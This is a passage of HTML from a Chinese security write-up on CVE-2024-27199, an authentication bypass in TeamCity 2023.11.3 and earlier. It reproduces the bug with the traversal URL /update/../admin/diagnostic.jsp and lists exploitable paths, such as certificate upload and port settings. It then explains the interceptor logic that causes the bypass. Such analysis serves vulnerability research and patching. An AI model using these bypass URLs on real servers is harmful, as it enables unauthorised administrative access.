style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">2023.11.3及之前版本</span></span></p><p><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">4-1. 漏洞复现</strong></span></p><p><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">是一个需要身份验证才能访问的路径，直接请求会跳转到登录页面；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="185" data-backw="560" data-imgfileid="100004941" data-ratio="0.3294736842105263" width="560.010009765625" data-type="png" data-w="950" height="184.510009765625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8c83ffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpZhZGfLXM3ZcEsZpXOEVmYBxt9IAxxh2NPEhaK6mDQib5V45WA9a8giaQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">构造 URL 为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/update/../admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，即可成功访问。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="217" data-backw="560" data-imgfileid="100004940" data-ratio="0.3883089770354906" width="560.010009765625" data-type="png" data-w="958" height="217.46002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f563a0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSppTx9t1dRBLFibibeRwKe4ib6r5ibHhzCHjsjYW5Po0SwR1WLPvpglf0lBg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">能利用的不需要身份验证的路径有：</span></span></span></p><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/res/</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/update/</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/update/tools/content/</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/.well-known/acme-challenge/</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">能通过拼接绕过身份验证进行访问的路口有：</span></span></span></p><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/availableRunners</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/setPort</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/certificateInfo</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/defaultHttpsPort</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/fetchFromAcme</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/removeCertificate</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/uploadCertificate</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/termsOfService</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/triggerAcmeChallenge</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/cancelAcmeChallenge</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/getAcmeOrder</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/https/settings/setRedirectStrategy</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/pipeline</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="">/app/oauth/space/createBuild.html</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞复现-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span>    <o:page></o:page></p><p><span style="mso-bookmark:漏洞复现-3;"></span><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">4-2. 漏洞分析</strong></span></p><p style="margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">在 RequestInterceptors 拦截器中，和之前的逻辑一样，判断请求路径是否与</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myPreHandlingDisabled</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中的路径相匹配；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="363" data-backw="560" data-imgfileid="100004942" data-ratio="0.6488991888760139" width="560.010009765625" data-type="png" data-w="863" height="363.3900146484375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0fc8e83c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpaqb9OXB21YJcchgKT4JmxC8icd7AMficqcc5JrIK7ocRicu5V7AQGVK8Q%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">在遍历</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myMatchingPaths</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">时，判断请求路径是否与已定义的路径相符，匹配到了其中的</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/update/**</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，返回 true，这些路径都是不需要身份验证的路径。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="337" data-backw="560" data-imgfileid="100004944" data-ratio="0.6025515210991168" width="560.010009765625" data-type="png" data-w="1019" height="337.42999267578125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5a8124c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpv1AlDrG5uI8UicQB2uXS18XaUbUaDpvXNHDEYLdpXQCwThhNHwxickIQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">于是 requestPreHandlingAllowed() 返回 false，不遍历 RequestInterceptors 的子拦截器，即不用进行身份验证。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">在后续处理中，根据路径穿越符号，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/update/../admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">会处理为</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，解析到视图</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/admin/diagnostic.html</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，输出对应内容。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="393" data-backw="560" data-imgfileid="100004943" data-ratio="0.7017543859649122" width="560.010009765625" data-type="png" data-w="1026" height="392.989990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=582c7eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSpKCo0elibU9ngpaTb6OuYdGhOaxICo1m2K1jPdiczL4eVt2N2xvickMWjA%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">同理，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myMatchingPaths</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">中的其他含有通配符的路径也可以用于绕过身份验证。</span></span></span></p><section style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="">/update/plugins/../../admin/diagnostic.jsp</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></section><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="">/update/tools/content/../../../admin/diagnostic.jsp</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/app/agents/**</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">不可用是因为获取到的处理器不是 NodeDiagnosticsController，视图返回的就不是</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">还有一处不需要身份验证的路径列表，就是</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="">this.myPathsNotRequiringAuthentication</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，当进入 AuthorizationInterceptorImpl 时会进行遍历匹配；</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: 